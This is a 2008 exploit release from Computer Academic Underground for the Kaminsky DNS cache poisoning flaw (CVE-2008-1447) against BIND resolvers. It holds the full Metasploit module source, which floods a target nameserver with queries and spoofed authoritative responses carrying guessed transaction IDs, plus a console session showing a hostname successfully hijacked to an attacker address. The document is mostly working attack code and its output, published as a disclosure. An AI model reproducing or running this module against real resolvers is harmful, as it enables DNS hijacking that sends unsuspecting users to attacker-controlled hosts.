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CAU-EX-2008-0002: Kaminsky DNS Cache Poisoning Flaw Exploit
From: "I)ruid" <druid () caughq org>
Date: Wed, 23 Jul 2008 18:34:26 -0500

                      ____      ____     __    __
                     /    \    /    \   |  |  |  |
        ----====####/  /\__\##/  /\  \##|  |##|  |####====----
                   |  |      |  |__|  | |  |  |  |
                   |  |  ___ |   __   | |  |  |  |
  ------======######\  \/  /#|  |##|  |#|  |##|  |######======------
                     \____/  |__|  |__|  \______/
                                                     
                    Computer Academic Underground
                        http://www.caughq.org
                            Exploit Code

===============/========================================================
Exploit ID:     CAU-EX-2008-0002
Release Date:   2008.07.23
Title:          bailiwicked_host.rb
Description:    Kaminsky DNS Cache Poisoning Flaw Exploit
Tested:         BIND 9.4.1-9.4.2
Attributes:     Remote, Poison, Resolver, Metasploit
Exploit URL:    http://www.caughq.org/exploits/CAU-EX-2008-0002.txt
Author/Email:   I)ruid <druid (@) caughq.org>
                H D Moore <hdm (@) metasploit.com>
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver.  This exploit caches a single malicious host entry
into the target nameserver.  By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.


Example
=======

# /msf3/msfconsole

                _                  _       _ _
               | |                | |     (_) |
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
                            | |
                            |_|


       =[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
       =[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

   Name      Current Setting    Required  Description
   ----      ---------------    --------  -----------
   HOSTNAME  pwned.example.com  yes       Hostname to hijack
   NEWADDR   1.3.3.7            yes       New address for hostname
   RECONS    208.67.222.222     yes       Nameserver used for reconnaissance
   RHOST                        yes       The target address
   SRCPORT                      yes       The target server's source query port (0 for automatic)
   XIDS      10                 yes       Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*]  >> ADDRESS: A.B.C.D  PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*]  Got answer with 2 answers, 0 authorities
[*]  Got an NS record: example.com.            172643  IN      NS      ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns89.worldnic.com.      172794  IN      A       205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*]   ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*]  Got an NS record: example.com.            172643  IN      NS      ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*]  Got answer with 1 answers, 0 authorities
[*]  Got an A record: ns90.worldnic.com.      172794  IN      A       205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*]   ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) > 

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server:         A.B.C.D
Address:        A.B.C.D#53

Non-authoritative answer:
Name:   pwned.example.com
Address: 1.3.3.7


Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.


References
==========

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447
http://www.kb.cert.org/vuls/id/800113


Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

        include Exploit::Remote::Ip

        def initialize(info = {})
                super(update_info(info, 
                        'Name'           => 'DNS BailiWicked Host Attack',
                        'Description'    => %q{
                                This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
                                Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
                                malicious host entry into the target nameserver by sending random sub-domain
                                queries to the target DNS server coupled with spoofed replies to those
                                queries from the authoritative nameservers for the domain which contain a
                                malicious host entry for the hostname to be poisoned in the authority and
                                additional records sections.  Eventually, a guessed ID will match and the
                                spoofed packet will get accepted, and due to the additional hostname entry
                                being within bailiwick constraints of the original request the malicious host
                                entry will get cached.
                        },
                        'Author'         => [ 'I)ruid', 'hdm' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 5585 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2008-1447' ],
                                        [ 'US-CERT-VU', '8000113' ],
                                        [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt&apos; ],
                                ],
                        'Privileged'     => true,
                        'Targets'        => 
                                [
                                        ["BIND",  
                                                {
                                                        'Arch' => ARCH_X86,
                                                        'Platform' => 'linux',
                                                },
                                        ],
                                ],
                        'DisclosureDate' => 'Jul 21 2008'
                        ))
                        
                        register_options(
                                [
                                        OptPort.new('SRCPORT', [true, "The target server's source query port (0 for 
automatic)", nil]),
                                        OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
                                        OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
                                        OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', 
'208.67.222.222']),
                                        OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
                                        OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
                                ], self.class)
                                        
        end
        
        def auxiliary_commands
                return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
        end

        def cmd_check(*args)
                targ = args[0] || rhost()
                if(not (targ and targ.length > 0))
                        print_status("usage: check [dns-server]")
                        return
                end

                print_status("Using the Metasploit service to verify exploitability...")
                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => targ,
                        'PeerPort' => 53
                )               

                random = false
                ports  = []
                lport  = nil
                
                1.upto(5) do |i|
                
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                        
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                        

                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ 
/^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')

                                                print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
                                                t_port = t_port.to_i
                                                if(lport and lport != t_port)
                                                        random = true
                                                end
                                                lport  = t_port
                                                ports << t_port
                                        end
                                end
                        end     
                end
                
                srv_sock.close
                
                if(ports.length < 5)
                        print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
                        return
                end
                
                if(random)
                        print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
                        print_status("      This server may still be exploitable, but not by this tool.")
                else
                        print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
                end
        end
                
        def run
                target   = rhost()
                source   = Rex::Socket.source_address(target)
                sport    = datastore['SRCPORT']
                hostname = datastore['HOSTNAME'] + '.'
                address  = datastore['NEWADDR']
                recons   = datastore['RECONS']
                xids     = datastore['XIDS'].to_i
                ttl      = datastore['TTL'].to_i
                xidbase  = rand(4)+2*10000

                domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0]

                srv_sock = Rex::Socket.create_udp(
                        'PeerHost' => target,
                        'PeerPort' => 53
                )

                # Get the source port via the metasploit service if it's not set
                if sport.to_i == 0
                        req = Resolv::DNS::Message.new
                        txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
                        req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
                        req.rd = 1
                        
                        srv_sock.put(req.encode)
                        res, addr = srv_sock.recvfrom()
                        
                        if res and res.length > 0
                                res = Resolv::DNS::Message.decode(res)
                                res.each_answer do |name, ttl, data|
                                        if (name.to_s == txt and data.strings.join('') =~ 
/^([^\s]+)\s+.*red\.metasploit\.com/m)
                                                t_addr, t_port = $1.split(':')
                                                sport = t_port.to_i

                                                print_status("Switching to target port #{sport} based on Metasploit 
service")
                                                if target != t_addr
                                                        print_status("Warning: target address #{target} is not the same 
as the nameserver's query source address #{t_addr}!")
                                                end
                                        end
                                end
                        end
                end

                # Verify its not already cached
                begin
                        query = Resolv::DNS::Message.new
                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
                        query.rd = 0

                        begin
                                cached = false
                                srv_sock.put(query.encode)
                                answer, addr = srv_sock.recvfrom()

                                if answer and answer.length > 0
                                        answer = Resolv::DNS::Message.decode(answer)
                                        answer.each_answer do |name, ttl, data|
                                                if((name.to_s + ".") == hostname  and data.address.to_s == address)
                                                        t = Time.now + ttl
                                                        print_status("Failure: This hostname is already in the target 
cache: #{name} == #{address}")
                                                        print_status("         Cache entry expires on #{t.to_s}... 
sleeping.")
                                                        cached = true
                                                        sleep ttl
                                                end
                                        end
                                end
                        end until not cached
                rescue ::Interrupt
                        raise $!
                rescue ::Exception => e
                        print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
                end

                res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # 
reconnaissance resolver

                print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

                # Look up the nameservers for the domain
                print_status "Querying recon nameserver for #{domain}'s nameservers..."
                answer0 = res0.send(domain, Net::DNS::NS)
                #print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} 
authorities"

                barbs = [] # storage for nameservers
                answer0.answer.each do |rr0|
                        print_status " Got an #{rr0.type} record: #{rr0.inspect}"
                        if rr0.type == 'NS'
                                print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
                                answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
                                #print_status " Got answer with #{answer1.header.anCount} answers, 
#{answer1.header.nsCount} authorities"
                                answer1.answer.each do |rr1|
                                        print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
                                        res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => 
false, :recursive => false, :retry => 1) 
                                        print_status "    Checking Authoritativeness: Querying #{rr1.address} for 
#{domain}..."
                                        answer2 = res2.send(domain)
                                        if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
                                                nsrec = {:name => rr0.nsdname, :addr => rr1.address}
                                                barbs << nsrec
                                                print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding 
to list of nameservers to spoof as"
                                        end
                                end
                        end     
                end

                if barbs.length == 0
                        print_status( "No DNS servers found.")
                        srv_sock.close
                        disconnect_ip
                        return
                end

                # Flood the target with queries and spoofed responses, one will eventually hit
                queries = 0
                responses = 0

                connect_ip if not ip_sock

                print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

                while true
                        randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

                        # Send spoofed query
                        req = Resolv::DNS::Message.new
                        req.id = rand(2**16)
                        req.add_question(randhost, Resolv::DNS::Resource::IN::A)

                        req.rd = 1

                        buff = (
                                Scruby::IP.new(
                                        #:src   => barbs[0][:addr].to_s,
                                        :src   => source,
                                        :dst   => target,
                                        :proto => 17
                                )/Scruby::UDP.new(
                                        :sport => (rand((2**16)-1024)+1024).to_i,
                                        :dport => 53
                                )/req.encode
                        ).to_net
                        ip_sock.sendto(buff, target)
                        queries += 1
                        
                        # Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
                        req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
                        req.add_authority(domain, ttl, 
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
                        req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
                        req.qr = 1
                        req.ra = 1

                        xidbase.upto(xidbase+xids-1) do |id|
                                req.id = id
                                barbs.each do |barb|
                                        buff = (
                                                Scruby::IP.new(
                                                        #:src   => barbs[i][:addr].to_s,
                                                        :src   => barb[:addr].to_s,
                                                        :dst   => target,
                                                        :proto => 17
                                                )/Scruby::UDP.new(
                                                        :sport => 53,
                                                        :dport => sport.to_i
                                                )/req.encode
                                        ).to_net
                                        ip_sock.sendto(buff, target)
                                        responses += 1
                                end
                        end

                        # status update
                        if queries % 1000 == 0
                                print_status("Sent #{queries} queries and #{responses} spoofed responses...")
                        end

                        # every so often, check and see if the target is poisoned...
                        if queries % 250 == 0 
                                begin
                                        query = Resolv::DNS::Message.new
                                        query.add_question(hostname, Resolv::DNS::Resource::IN::A)
                                        query.rd = 0
        
                                        srv_sock.put(query.encode)
                                        answer, addr = srv_sock.recvfrom()

                                        if answer and answer.length > 0
                                                answer = Resolv::DNS::Message.decode(answer)
                                                answer.each_answer do |name, ttl, data|
                                                        if((name.to_s + ".") == hostname and data.address.to_s == 
address)
                                                                print_status("Poisoning successful after #{queries} 
attempts: #{name} == #{address}")
                                                                disconnect_ip
                                                                return
                                                        end
                                                end
                                        end
                                rescue ::Interrupt
                                        raise $!
                                rescue ::Exception => e
                                        print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
                                end
                        end

                end

        end

end
end


-- 
I)ruid, CĀ²ISSP
druid () caughq org
http://druid.caughq.org

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